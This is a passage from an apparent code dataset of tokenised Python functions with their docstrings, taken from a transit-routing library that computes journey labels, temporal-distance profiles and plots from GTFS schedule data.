e:<EOL><INDENT>print(journey)<EOL>raise e<EOL><DEDENT><DEDENT>yield origin_stop_I, destination_stop_I, journey_labels<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ndestination_stop_Is: list-like\norigin_stop_Is: list-like\n\nYields\n------\n(origin_stop_I, destination_stop_I, journey_labels) : tuple", "id": "f12893:c0:m19"}
{"signature": "def _insert_travel_impedance_data_to_db(self, travel_impedance_measure_name, data):", "body": "f = float<EOL>data_tuple = [(x[\"<STR_LIT>\"], x[\"<STR_LIT>\"], f(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"]), f(x[\"<STR_LIT>\"])) for x in data]<EOL>insert_stmt = '''<STR_LIT>''' + travel_impedance_measure_name + '''<STR_LIT>'''<EOL>self.conn.executemany(insert_stmt, data_tuple)<EOL>self.conn.commit()<EOL>", "docstring": "Parameters\n----------\ntravel_impedance_measure_name: str\ndata: list[dict]\n    Each list element must contain keys:\n    \"from_stop_I\", \"to_stop_I\", \"min\", \"max\", \"median\" and \"mean\"", "id": "f12893:c0:m27"}
{"signature": "def get_transit_connections(gtfs, start_time_ut, end_time_ut):", "body": "if start_time_ut + <NUM_LIT:20> * <NUM_LIT> < end_time_ut:<EOL><INDENT>warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>assert (isinstance(gtfs, GTFS))<EOL>events_df = temporal_network(gtfs, start_time_ut=start_time_ut, end_time_ut=end_time_ut)<EOL>assert (isinstance(events_df, pandas.DataFrame))<EOL>return list(map(lambda e: Connection(e.from_stop_I, e.to_stop_I, e.dep_time_ut, e.arr_time_ut, e.trip_I, e.seq),<EOL>events_df.itertuples()<EOL>)<EOL>)<EOL>", "docstring": "Parameters\n----------\ngtfs: gtfspy.GTFS\nend_time_ut: int\nstart_time_ut: int\n\nReturns\n-------\nlist[Connection]", "id": "f12895:m0"}
{"signature": "def get_walk_network(gtfs, max_link_distance_m=<NUM_LIT:1000>):", "body": "assert (isinstance(gtfs, GTFS))<EOL>return walk_transfer_stop_to_stop_network(gtfs, max_link_distance=max_link_distance_m)<EOL>", "docstring": "Parameters\n----------\ngtfs: gtfspy.GTFS\n\nReturns\n-------\nwalk_network: networkx.Graph:", "id": "f12895:m1"}
{"signature": "def update_pareto_optimal_tuples(self, new_label):", "body": "assert (isinstance(new_label, LabelTime))<EOL>if self._labels:<EOL><INDENT>assert (new_label.departure_time <= self._labels[-<NUM_LIT:1>].departure_time)<EOL>best_later_departing_arrival_time = self._labels[-<NUM_LIT:1>].arrival_time_target<EOL><DEDENT>else:<EOL><INDENT>best_later_departing_arrival_time = float('<STR_LIT>')<EOL><DEDENT>walk_to_target_arrival_time = new_label.departure_time + self._walk_to_target_duration<EOL>best_arrival_time = min(walk_to_target_arrival_time,<EOL>best_later_departing_arrival_time,<EOL>new_label.arrival_time_target)<EOL>if (new_label.arrival_time_target < walk_to_target_arrival_time and<EOL>new_label.arrival_time_target < best_later_departing_arrival_time):<EOL><INDENT>self._labels.append(LabelTime(new_label.departure_time, best_arrival_time))<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Parameters\n----------\nnew_label: LabelTime\n\nReturns\n-------\nupdated: bool", "id": "f12896:c0:m2"}
{"signature": "def evaluate_earliest_arrival_time_at_target(self, dep_time, transfer_margin):", "body": "minimum = dep_time + self._walk_to_target_duration<EOL>for label in self._labels[::-<NUM_LIT:1>]:<EOL><INDENT>if label.departure_time >= dep_time + transfer_margin:<EOL><INDENT>minimum = min(minimum, label.arrival_time_target)<EOL>break<EOL><DEDENT><DEDENT>return float(minimum)<EOL>", "docstring": "Get the earliest arrival time at the target, given a departure time.\n\nParameters\n----------\ndep_time : float, int\n    time in unix seconds\ntransfer_margin: float, int\n    transfer margin in seconds\n\nReturns\n-------\narrival_time : float\n    Arrival time in the given time unit (seconds after unix epoch).", "id": "f12896:c0:m3"}
{"signature": "def __init__(self, legs=None):", "body": "self.legs = []<EOL>self.departure_time = None<EOL>self.arrival_time = None<EOL>self.trip_ids = set()<EOL>self.n_boardings = <NUM_LIT:0><EOL>if legs is not None:<EOL><INDENT>for leg in legs:<EOL><INDENT>self.add_leg(leg)<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\nlegs: list[Connection]", "id": "f12897:c0:m0"}
{"signature": "def add_leg(self, leg):", "body": "assert(isinstance(leg, Connection))<EOL>if not self.legs:<EOL><INDENT>self.departure_time = leg.departure_time<EOL><DEDENT>self.arrival_time = leg.arrival_time<EOL>if leg.trip_id and (not self.legs or (leg.trip_id != self.legs[-<NUM_LIT:1>].trip_id)):<EOL><INDENT>self.n_boardings += <NUM_LIT:1><EOL><DEDENT>self.arrival_time = leg.arrival_time<EOL>self.legs.append(leg)<EOL>", "docstring": "Parameters\n----------\nleg: Connection", "id": "f12897:c0:m1"}
{"signature": "def get_transfer_stop_pairs(self):", "body": "transfer_stop_pairs = []<EOL>previous_arrival_stop = None<EOL>current_trip_id = None<EOL>for leg in self.legs:<EOL><INDENT>if leg.trip_id is not None and leg.trip_id != current_trip_id and previous_arrival_stop is not None:<EOL><INDENT>transfer_stop_pair = (previous_arrival_stop, leg.departure_stop)<EOL>transfer_stop_pairs.append(transfer_stop_pair)<EOL><DEDENT>previous_arrival_stop = leg.arrival_stop<EOL>current_trip_id = leg.trip_id<EOL><DEDENT>return transfer_stop_pairs<EOL>", "docstring": "Get stop pairs through which transfers take place\n\nReturns\n-------\ntransfer_stop_pairs: list", "id": "f12897:c0:m6"}
{"signature": "def __init__(self,<EOL>transit_events,<EOL>target_stop,<EOL>start_time=None,<EOL>end_time=None,<EOL>transfer_margin=<NUM_LIT:0>,<EOL>walk_network=None,<EOL>walk_speed=<NUM_LIT>,<EOL>verbose=False):", "body": "AbstractRoutingAlgorithm.__init__(self)<EOL>self._target = target_stop<EOL>self._connections = transit_events<EOL>if start_time is None:<EOL><INDENT>start_time = transit_events[-<NUM_LIT:1>].departure_time<EOL><DEDENT>if end_time is None:<EOL><INDENT>end_time = transit_events[<NUM_LIT:0>].departure_time<EOL><DEDENT>self._start_time = start_time<EOL>self._end_time = end_time<EOL>self._transfer_margin = transfer_margin<EOL>if walk_network is None:<EOL><INDENT>walk_network = networkx.Graph()<EOL><DEDENT>self._walk_network = walk_network<EOL>self._walk_speed = float(walk_speed)<EOL>self._verbose = verbose<EOL>self.__trip_min_arrival_time = defaultdict(lambda: float(\"<STR_LIT>\"))<EOL>self._stop_profiles = defaultdict(lambda: NodeProfileSimple())<EOL>self._stop_profiles[self._target] = NodeProfileSimple(<NUM_LIT:0>)<EOL>if target_stop in walk_network.nodes():<EOL><INDENT>for target_neighbor in walk_network.neighbors(target_stop):<EOL><INDENT>edge_data = walk_network.get_edge_data(target_neighbor, target_stop)<EOL>walk_duration = edge_data[\"<STR_LIT>\"] / self._walk_speed<EOL>self._stop_profiles[target_neighbor] = NodeProfileSimple(walk_duration)<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ntransit_events: list[Connection]\n    events are assumed to be ordered in DECREASING departure_time (!)\ntarget_stop: int\n    index of the target stop\nstart_time : int, optional\n    start time in unixtime seconds\nend_time: int, optional\n    end time in unixtime seconds (no connections will be scanned after this time)\ntransfer_margin: int, optional\n    required extra margin required for transfers in seconds\nwalk_speed: float, optional\n    walking speed between stops in meters / second.\nwalk_network: networkx.Graph, optional\n    each edge should have the walking distance as a data attribute (\"distance_shape\") expressed in meters\nverbose: boolean, optional\n    whether to print out progress", "id": "f12898:c0:m0"}
{"signature": "def _scan_footpaths_to_departure_stop(self, connection_dep_stop, connection_dep_time, arrival_time_target):", "body": "for _, neighbor, data in self._walk_network.edges_iter(nbunch=[connection_dep_stop],<EOL>data=True):<EOL><INDENT>d_walk = data['<STR_LIT>']<EOL>neighbor_dep_time = connection_dep_time - d_walk / self._walk_speed<EOL>pt = LabelTimeSimple(departure_time=neighbor_dep_time, arrival_time_target=arrival_time_target)<EOL>self._stop_profiles[neighbor].update_pareto_optimal_tuples(pt)<EOL><DEDENT>", "docstring": "A helper method for scanning the footpaths. Updates self._stop_profiles accordingly", "id": "f12898:c0:m2"}
{"signature": "@property<EOL><INDENT>def stop_profiles(self):<DEDENT>", "body": "assert self._has_run<EOL>return self._stop_profiles<EOL>", "docstring": "Returns\n-------\n_stop_profiles : dict[int, NodeProfileSimple]\n    The pareto tuples necessary.", "id": "f12898:c0:m3"}
{"signature": "def __init__(self, labels, walk_time_to_target, start_time_dep, end_time_dep):", "body": "self.start_time_dep = start_time_dep<EOL>self.end_time_dep = end_time_dep<EOL>all_pareto_optimal_tuples = [pt for pt in labels if<EOL>(start_time_dep < pt.departure_time < end_time_dep)]<EOL>labels_after_dep_time = [label for label in labels if label.departure_time >= self.end_time_dep]<EOL>if labels_after_dep_time:<EOL><INDENT>next_label_after_end_time = min(labels_after_dep_time, key=lambda el: el.arrival_time_target)<EOL>all_pareto_optimal_tuples.append(next_label_after_end_time)<EOL><DEDENT>all_pareto_optimal_tuples = sorted(all_pareto_optimal_tuples, key=lambda ptuple: ptuple.departure_time)<EOL>arrival_time_target_at_end_time = end_time_dep + walk_time_to_target<EOL>previous_trip = None<EOL>for trip_tuple in all_pareto_optimal_tuples:<EOL><INDENT>if previous_trip:<EOL><INDENT>assert(trip_tuple.arrival_time_target > previous_trip.arrival_time_target)<EOL><DEDENT>if trip_tuple.departure_time > self.end_time_depand trip_tuple.arrival_time_target < arrival_time_target_at_end_time:<EOL><INDENT>arrival_time_target_at_end_time = trip_tuple.arrival_time_target<EOL><DEDENT>previous_trip = trip_tuple<EOL><DEDENT>self._walk_time_to_target = walk_time_to_target<EOL>self._profile_blocks = []<EOL>previous_departure_time = start_time_dep<EOL>self.trip_durations = []<EOL>self.trip_departure_times = []<EOL>for trip_pareto_tuple in all_pareto_optimal_tuples:<EOL><INDENT>if trip_pareto_tuple.departure_time > self.end_time_dep:<EOL><INDENT>continue<EOL><DEDENT>if self._walk_time_to_target <= trip_pareto_tuple.duration():<EOL><INDENT>print(self._walk_time_to_target, trip_pareto_tuple.duration())<EOL>assert(self._walk_time_to_target > trip_pareto_tuple.duration())<EOL><DEDENT>effective_trip_previous_departure_time = max(<EOL>previous_departure_time,<EOL>trip_pareto_tuple.departure_time - (self._walk_time_to_target - trip_pareto_tuple.duration())<EOL>)<EOL>if effective_trip_previous_departure_time > previous_departure_time:<EOL><INDENT>walk_block = ProfileBlock(start_time=previous_departure_time,<EOL>end_time=effective_trip_previous_departure_time,<EOL>distance_start=self._walk_time_to_target,<EOL>distance_end=self._walk_time_to_target<EOL>)<EOL>self._profile_blocks.append(walk_block)<EOL><DEDENT>trip_waiting_time = trip_pareto_tuple.departure_time - effective_trip_previous_departure_time<EOL>trip_block = ProfileBlock(end_time=trip_pareto_tuple.departure_time,<EOL>start_time=effective_trip_previous_departure_time,<EOL>distance_start=trip_pareto_tuple.duration() + trip_waiting_time,<EOL>distance_end=trip_pareto_tuple.duration())<EOL>self.trip_durations.append(trip_pareto_tuple.duration())<EOL>self.trip_departure_times.append(trip_pareto_tuple.departure_time)<EOL>self._profile_blocks.append(trip_block)<EOL>previous_departure_time = trip_pareto_tuple.departure_time<EOL><DEDENT>if not self._profile_blocks or self._profile_blocks[-<NUM_LIT:1>].end_time < end_time_dep:<EOL><INDENT>if len(self._profile_blocks) > <NUM_LIT:0>:<EOL><INDENT>dep_previous = self._profile_blocks[-<NUM_LIT:1>].end_time<EOL><DEDENT>else:<EOL><INDENT>dep_previous = start_time_dep<EOL><DEDENT>waiting_time = end_time_dep - dep_previous<EOL>distance_end_trip = arrival_time_target_at_end_time - end_time_dep<EOL>walking_wait_time = min(end_time_dep - dep_previous,<EOL>waiting_time - (self._walk_time_to_target - distance_end_trip))<EOL>walking_wait_time = max(<NUM_LIT:0>, walking_wait_time)<EOL>if walking_wait_time > <NUM_LIT:0>:<EOL><INDENT>walk_block = ProfileBlock(start_time=dep_previous,<EOL>end_time=dep_previous + walking_wait_time,<EOL>distance_start=self._walk_time_to_target,<EOL>distance_end=self._walk_time_to_target<EOL>)<EOL>assert (walk_block.start_time <= walk_block.end_time)<EOL>assert (walk_block.distance_end <= walk_block.distance_start)<EOL>self._profile_blocks.append(walk_block)<EOL><DEDENT>trip_waiting_time = waiting_time - walking_wait_time<EOL>if trip_waiting_time > <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>trip_block = ProfileBlock(start_time=dep_previous + walking_wait_time,<EOL>end_time=dep_previous + walking_wait_time + trip_waiting_time,<EOL>distance_start=distance_end_trip + trip_waiting_time,<EOL>distance_end=distance_end_trip)<EOL>assert (trip_block.start_time <= trip_block.end_time)<EOL>assert (trip_block.distance_end <= trip_block.distance_start)<EOL>self._profile_blocks.append(trip_block)<EOL><DEDENT>except AssertionError as e:<EOL><INDENT>assert(trip_waiting_time < <NUM_LIT:10>**-<NUM_LIT:5>)<EOL><DEDENT><DEDENT><DEDENT>self.profile_block_analyzer = ProfileBlockAnalyzer(profile_blocks=self._profile_blocks)<EOL>", "docstring": "Initialize the data structures required by\n\nParameters\n----------\nnode_profile: NodeProfileSimple", "id": "f12899:c0:m1"}
{"signature": "def n_pareto_optimal_trips(self):", "body": "return float(len(self.trip_durations))<EOL>", "docstring": "Get number of pareto-optimal trips\n\nReturns\n-------\nn_trips: float", "id": "f12899:c0:m2"}
{"signature": "@_if_no_trips_return_inf<EOL><INDENT>def min_trip_duration(self):<DEDENT>", "body": "return numpy.min(self.trip_durations)<EOL>", "docstring": "Get minimum travel time to destination.\n\nReturns\n-------\nfloat: min_trip_duration\n    float('nan') if no trips take place", "id": "f12899:c0:m3"}
{"signature": "@_if_no_trips_return_inf<EOL><INDENT>def max_trip_duration(self):<DEDENT>", "body": "return numpy.max(self.trip_durations)<EOL>", "docstring": "Get minimum travel time to destination.\n\nReturns\n-------\nfloat: max_trip_duration\n    float('inf') if no trips take place", "id": "f12899:c0:m4"}
{"signature": "@_if_no_trips_return_inf<EOL><INDENT>def mean_trip_duration(self):<DEDENT>", "body": "return numpy.mean(self.trip_durations)<EOL>", "docstring": "Get average travel time to destination.\n\nReturns\n-------\nfloat: max_trip_duration\n    float('inf') if no trips take place", "id": "f12899:c0:m5"}
{"signature": "@_if_no_trips_return_inf<EOL><INDENT>def median_trip_duration(self):<DEDENT>", "body": "return numpy.median(self.trip_durations)<EOL>", "docstring": "Get average travel time to destination.\n\nReturns\n-------\nfloat: max_trip_duration\n    float('inf') if no trips take place", "id": "f12899:c0:m6"}
{"signature": "def mean_temporal_distance(self):", "body": "total_width = self.end_time_dep - self.start_time_dep<EOL>total_area = sum([block.area() for block in self._profile_blocks])<EOL>return total_area / total_width<EOL>", "docstring": "Get mean temporal distance (in seconds) to the target.\n\nReturns\n-------\nmean_temporal_distance : float", "id": "f12899:c0:m7"}
{"signature": "def median_temporal_distance(self):", "body": "return self.profile_block_analyzer.median()<EOL>", "docstring": "Returns\n-------\nmedian_temporal_distance : float", "id": "f12899:c0:m8"}
{"signature": "def min_temporal_distance(self):", "body": "return self.profile_block_analyzer.min()<EOL>", "docstring": "Compute the minimum temporal distance to target.\n\nReturns\n-------\nmin_temporal_distance: float", "id": "f12899:c0:m9"}
{"signature": "def max_temporal_distance(self):", "body": "return self.profile_block_analyzer.max()<EOL>", "docstring": "Compute the maximum temporal distance.\n\nReturns\n-------\nmax_temporal_distance : float", "id": "f12899:c0:m10"}
{"signature": "def largest_finite_temporal_distance(self):", "body": "return self.profile_block_analyzer.largest_finite_distance()<EOL>", "docstring": "Compute the maximum temporal distance.\n\nReturns\n-------\nmax_temporal_distance : float", "id": "f12899:c0:m11"}
{"signature": "def plot_temporal_distance_cdf(self):", "body": "xvalues, cdf = self.profile_block_analyzer._temporal_distance_cdf()<EOL>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL>xvalues = numpy.array(xvalues) / <NUM_LIT><EOL>ax.plot(xvalues, cdf, \"<STR_LIT>\")<EOL>ax.fill_between(xvalues, cdf, color=\"<STR_LIT>\", alpha=<NUM_LIT>)<EOL>ax.set_ylabel(\"<STR_LIT>\")<EOL>ax.set_xlabel(\"<STR_LIT>\")<EOL>return fig<EOL>", "docstring": "Plot the temporal distance cumulative density function.\n\nReturns\n-------\nfig: matplotlib.Figure", "id": "f12899:c0:m12"}
{"signature": "def plot_temporal_distance_pdf(self, use_minutes=True, color=\"<STR_LIT>\", ax=None):", "body": "from matplotlib import pyplot as plt<EOL>plt.rc('<STR_LIT:text>', usetex=True)<EOL>temporal_distance_split_points_ordered, densities, delta_peaks = self._temporal_distance_pdf()<EOL>xs = []<EOL>for i, x in enumerate(temporal_distance_split_points_ordered):<EOL><INDENT>xs.append(x)<EOL>xs.append(x)<EOL><DEDENT>xs = numpy.array(xs)<EOL>ys = [<NUM_LIT:0>]<EOL>for y in densities:<EOL><INDENT>ys.append(y)<EOL>ys.append(y)<EOL><DEDENT>ys.append(<NUM_LIT:0>)<EOL>ys = numpy.array(ys)<EOL>xlabel = \"<STR_LIT>\"<EOL>ylabel = \"<STR_LIT>\"<EOL>if use_minutes:<EOL><INDENT>xs /= <NUM_LIT><EOL>ys *= <NUM_LIT><EOL>xlabel = \"<STR_LIT>\"<EOL>delta_peaks = {peak / <NUM_LIT>: mass for peak, mass in delta_peaks.items()}<EOL><DEDENT>if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>ax.plot(xs, ys, \"<STR_LIT>\")<EOL>ax.fill_between(xs, ys, color=\"<STR_LIT>\", alpha=<NUM_LIT>)<EOL>if delta_peaks:<EOL><INDENT>peak_height = max(ys) * <NUM_LIT><EOL>max_x = max(xs)<EOL>min_x = min(xs)<EOL>now_max_x = max(xs) + <NUM_LIT> * (max_x - min_x)<EOL>now_min_x = min_x - <NUM_LIT:0.1> * (max_x - min_x)<EOL>text_x_offset = <NUM_LIT:0.1> * (now_max_x - max_x)<EOL>for loc, mass in delta_peaks.items():<EOL><INDENT>ax.plot([loc, loc], [<NUM_LIT:0>, peak_height], color=\"<STR_LIT>\", lw=<NUM_LIT:5>)<EOL>ax.text(loc + text_x_offset, peak_height * <NUM_LIT>, \"<STR_LIT>\" % (mass), color=\"<STR_LIT>\")<EOL><DEDENT>ax.set_xlim(now_min_x, now_max_x)<EOL>tot_delta_peak_mass = sum(delta_peaks.values())<EOL>transit_text_x = (min_x + max_x) / <NUM_LIT:2><EOL>transit_text_y = min(ys[ys > <NUM_LIT:0>]) / <NUM_LIT><EOL>ax.text(transit_text_x,<EOL>transit_text_y,<EOL>\"<STR_LIT>\" % (<NUM_LIT:1> - tot_delta_peak_mass),<EOL>color=\"<STR_LIT>\",<EOL>va=\"<STR_LIT>\",<EOL>ha=\"<STR_LIT>\")<EOL><DEDENT>ax.set_xlabel(xlabel)<EOL>ax.set_ylabel(ylabel)<EOL>ax.set_ylim(bottom=<NUM_LIT:0>)<EOL>return ax.figure<EOL>", "docstring": "Plot the temporal distance probability density function.\n\nReturns\n-------\nfig: matplotlib.Figure", "id": "f12899:c0:m13"}
{"signature": "def plot_temporal_distance_pdf_horizontal(self, use_minutes=True,<EOL>color=\"<STR_LIT>\",<EOL>ax=None,<EOL>duration_divider=<NUM_LIT>,<EOL>legend_font_size=None,<EOL>legend_loc=None):", "body": "from matplotlib import pyplot as plt<EOL>plt.rc('<STR_LIT:text>', usetex=True)<EOL>if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>temporal_distance_split_points_ordered, densities, delta_peaks = self._temporal_distance_pdf()<EOL>xs = []<EOL>for i, x in enumerate(temporal_distance_split_points_ordered):<EOL><INDENT>xs.append(x)<EOL>xs.append(x)<EOL><DEDENT>xs = numpy.array(xs)<EOL>ys = [<NUM_LIT:0>]<EOL>for y in densities:<EOL><INDENT>ys.append(y)<EOL>ys.append(y)<EOL><DEDENT>ys.append(<NUM_LIT:0>)<EOL>ys = numpy.array(ys)<EOL>xlabel = \"<STR_LIT>\"<EOL>ylabel = \"<STR_LIT>\"<EOL>if use_minutes:<EOL><INDENT>xs /= duration_divider<EOL>ys *= duration_divider<EOL>xlabel = \"<STR_LIT>\"<EOL>delta_peaks = {peak / <NUM_LIT>: mass for peak, mass in delta_peaks.items()}<EOL><DEDENT>if delta_peaks:<EOL><INDENT>peak_height = max(ys) * <NUM_LIT><EOL>max_x = max(xs)<EOL>min_x = min(xs)<EOL>now_max_x = max(xs) + <NUM_LIT> * (max_x - min_x)<EOL>now_min_x = min_x - <NUM_LIT:0.1> * (max_x - min_x)<EOL>text_x_offset = <NUM_LIT:0.1> * (now_max_x - max_x)<EOL>for loc, mass in delta_peaks.items():<EOL><INDENT>text = \"<STR_LIT>\" + (\"<STR_LIT>\" % (mass))<EOL>ax.plot([<NUM_LIT:0>, peak_height], [loc, loc], color=color, lw=<NUM_LIT:5>, label=text)<EOL><DEDENT><DEDENT>ax.plot(ys, xs, \"<STR_LIT>\")<EOL>if delta_peaks:<EOL><INDENT>tot_delta_peak_mass = sum(delta_peaks.values())<EOL>fill_label = \"<STR_LIT>\" % (<NUM_LIT:1>-tot_delta_peak_mass)<EOL><DEDENT>else:<EOL><INDENT>fill_label = None<EOL><DEDENT>ax.fill_betweenx(xs, ys, color=color, alpha=<NUM_LIT>, label=fill_label)<EOL>ax.set_ylabel(xlabel)<EOL>ax.set_xlabel(ylabel)<EOL>ax.set_xlim(left=<NUM_LIT:0>, right=max(ys) * <NUM_LIT>)<EOL>if delta_peaks:<EOL><INDENT>if legend_font_size is None:<EOL><INDENT>legend_font_size = <NUM_LIT:12><EOL><DEDENT>if legend_loc is None:<EOL><INDENT>legend_loc = \"<STR_LIT>\"<EOL><DEDENT>ax.legend(loc=legend_loc, prop={'<STR_LIT:size>': legend_font_size})<EOL><DEDENT>if True:<EOL><INDENT>line_tyles = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:->\"][::-<NUM_LIT:1>]<EOL>to_plot_funcs = [self.max_temporal_distance, self.mean_temporal_distance, self.min_temporal_distance]<EOL>xmin, xmax = ax.get_xlim()<EOL>for to_plot_func, ls in zip(to_plot_funcs, line_tyles):<EOL><INDENT>y = to_plot_func() / duration_divider<EOL>assert y < float('<STR_LIT>')<EOL>ax.plot([xmin, xmax*<NUM_LIT:10>], [y, y], color=\"<STR_LIT>\", ls=ls, lw=<NUM_LIT:1>)<EOL><DEDENT><DEDENT>return ax.figure<EOL>", "docstring": "Plot the temporal distance probability density function.\n\nReturns\n-------\nfig: matplotlib.Figure", "id": "f12899:c0:m14"}
{"signature": "def plot_temporal_distance_profile(self,<EOL>timezone=None,<EOL>color=\"<STR_LIT>\",<EOL>alpha=<NUM_LIT>,<EOL>ax=None,<EOL>lw=<NUM_LIT:2>,<EOL>label=\"<STR_LIT>\",<EOL>plot_tdist_stats=False,<EOL>plot_trip_stats=False,<EOL>format_string=\"<STR_LIT>\",<EOL>plot_journeys=False,<EOL>duration_divider=<NUM_LIT>,<EOL>fill_color=\"<STR_LIT>\",<EOL>journey_letters=None,<EOL>return_letters=False):", "body": "if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>if timezone is None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\")<EOL>timezone = pytz.timezone(\"<STR_LIT>\")<EOL><DEDENT>def _ut_to_unloc_datetime(ut):<EOL><INDENT>dt = datetime.datetime.fromtimestamp(ut, timezone)<EOL>return dt.replace(tzinfo=None)<EOL><DEDENT>if format_string:<EOL><INDENT>x_axis_formatter = md.DateFormatter(format_string)<EOL>ax.xaxis.set_major_formatter(x_axis_formatter)<EOL><DEDENT>else:<EOL><INDENT>_ut_to_unloc_datetime = lambda x: x<EOL><DEDENT>ax.set_xlim(<EOL>_ut_to_unloc_datetime(self.start_time_dep),<EOL>_ut_to_unloc_datetime(self.end_time_dep)<EOL>)<EOL>if plot_tdist_stats:<EOL><INDENT>line_tyles = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:->\"][::-<NUM_LIT:1>]<EOL>to_plot_labels  = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>to_plot_funcs = [self.max_temporal_distance, self.mean_temporal_distance, self.min_temporal_distance]<EOL>xmin, xmax = ax.get_xlim()<EOL>for to_plot_label, to_plot_func, ls in zip(to_plot_labels, to_plot_funcs, line_tyles):<EOL><INDENT>y = to_plot_func() / duration_divider<EOL>assert y < float('<STR_LIT>'), to_plot_label<EOL>to_plot_label = to_plot_label + \"<STR_LIT>\" % (y)<EOL>ax.plot([xmin, xmax], [y, y], color=\"<STR_LIT>\", ls=ls, lw=<NUM_LIT:1>, label=to_plot_label)<EOL><DEDENT><DEDENT>if plot_trip_stats:<EOL><INDENT>assert (not plot_tdist_stats)<EOL>line_tyles = [\"<STR_LIT:->\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>to_plot_labels = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>to_plot_funcs = [self.min_trip_duration, self.max_trip_duration, self.mean_trip_duration]<EOL>xmin, xmax = ax.get_xlim()<EOL>for to_plot_label, to_plot_func, ls in zip(to_plot_labels, to_plot_funcs, line_tyles):<EOL><INDENT>y = to_plot_func() / duration_divider<EOL>if not numpy.math.isnan(y):<EOL><INDENT>ax.plot([xmin, xmax], [y, y], color=\"<STR_LIT>\", ls=ls, lw=<NUM_LIT:2>)<EOL>txt = to_plot_label + \"<STR_LIT>\" % y<EOL>ax.text(xmax + <NUM_LIT> * (xmax - xmin), y, txt, color=\"<STR_LIT>\", va=\"<STR_LIT>\", ha=\"<STR_LIT:left>\")<EOL><DEDENT><DEDENT>old_xmax = xmax<EOL>xmax += (xmax - xmin) * <NUM_LIT><EOL>ymin, ymax = ax.get_ylim()<EOL>ax.fill_between([old_xmax, xmax], ymin, ymax, color=\"<STR_LIT>\", alpha=<NUM_LIT:0.1>)<EOL>ax.set_xlim(xmin, xmax)<EOL><DEDENT>vertical_lines, slopes = self.profile_block_analyzer.get_vlines_and_slopes_for_plotting()<EOL>for i, line in enumerate(slopes):<EOL><INDENT>xs = [_ut_to_unloc_datetime(x) for x in line['<STR_LIT:x>']]<EOL>if i is <NUM_LIT:0>:<EOL><INDENT>label = u\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>label = None<EOL><DEDENT>ax.plot(xs, numpy.array(line['<STR_LIT:y>']) / duration_divider, \"<STR_LIT:->\", color=color, lw=lw, label=label)<EOL><DEDENT>for line in vertical_lines:<EOL><INDENT>xs = [_ut_to_unloc_datetime(x) for x in line['<STR_LIT:x>']]<EOL>ax.plot(xs, numpy.array(line['<STR_LIT:y>']) / duration_divider, \"<STR_LIT::>\", color=color)  <EOL><DEDENT>assert (isinstance(ax, plt.Axes))<EOL>if plot_journeys:<EOL><INDENT>xs = [_ut_to_unloc_datetime(x) for x in self.trip_departure_times]<EOL>ys = self.trip_durations<EOL>ax.plot(xs, numpy.array(ys) / duration_divider, \"<STR_LIT:o>\", color=\"<STR_LIT>\", ms=<NUM_LIT:8>, label=\"<STR_LIT>\")<EOL>if journey_letters is None:<EOL><INDENT>journey_letters = \"<STR_LIT>\"<EOL>def cycle_journey_letters(journey_letters):<EOL><INDENT>saved = []<EOL>for element in journey_letters:<EOL><INDENT>yield element<EOL>saved.append(element)<EOL><DEDENT>count = <NUM_LIT:1><EOL>while saved:<EOL><INDENT>for element in saved:<EOL><INDENT>yield element + str(count)<EOL><DEDENT>count += <NUM_LIT:1><EOL><DEDENT><DEDENT>journey_letters_iterator = cycle_journey_letters(journey_letters)<EOL><DEDENT>time_letters = {int(time): letter for letter, time in zip(journey_letters_iterator, self.trip_departure_times)}<EOL>for x, y, letter in zip(xs, ys, journey_letters_iterator):<EOL><INDENT>walking = - self._walk_time_to_target / <NUM_LIT:30> if numpy.isfinite(self._walk_time_to_target) else <NUM_LIT:0><EOL>ax.text(x + datetime.timedelta(seconds=(self.end_time_dep - self.start_time_dep) / <NUM_LIT>),<EOL>(y + walking) / duration_divider, letter, va=\"<STR_LIT>\", ha=\"<STR_LIT:left>\")<EOL><DEDENT><DEDENT>fill_between_x = []<EOL>fill_between_y = []<EOL>for line in slopes:<EOL><INDENT>xs = [_ut_to_unloc_datetime(x) for x in line['<STR_LIT:x>']]<EOL>fill_between_x.extend(xs)<EOL>fill_between_y.extend(numpy.array(line[\"<STR_LIT:y>\"]) / duration_divider)<EOL><DEDENT>ax.fill_between(fill_between_x, y1=fill_between_y, color=fill_color, alpha=alpha, label=label)<EOL>ax.set_ylim(bottom=<NUM_LIT:0>)<EOL>ax.set_ylim(ax.get_ylim()[<NUM_LIT:0>], ax.get_ylim()[<NUM_LIT:1>] * <NUM_LIT>)<EOL>if rcParams['<STR_LIT>']:<EOL><INDENT>ax.set_xlabel(r\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>ax.set_xlabel(\"<STR_LIT>\")<EOL><DEDENT>ax.set_ylabel(r\"<STR_LIT>\")<EOL>if plot_journeys and return_letters:<EOL><INDENT>return ax, time_letters<EOL><DEDENT>else:<EOL><INDENT>return ax<EOL><DEDENT>", "docstring": "Parameters\n----------\ntimezone: str\ncolor: color\nformat_string: str, None\n    if None, the original values are used\nplot_journeys: bool, optional\n    if True, small dots are plotted at the departure times", "id": "f12899:c0:m15"}
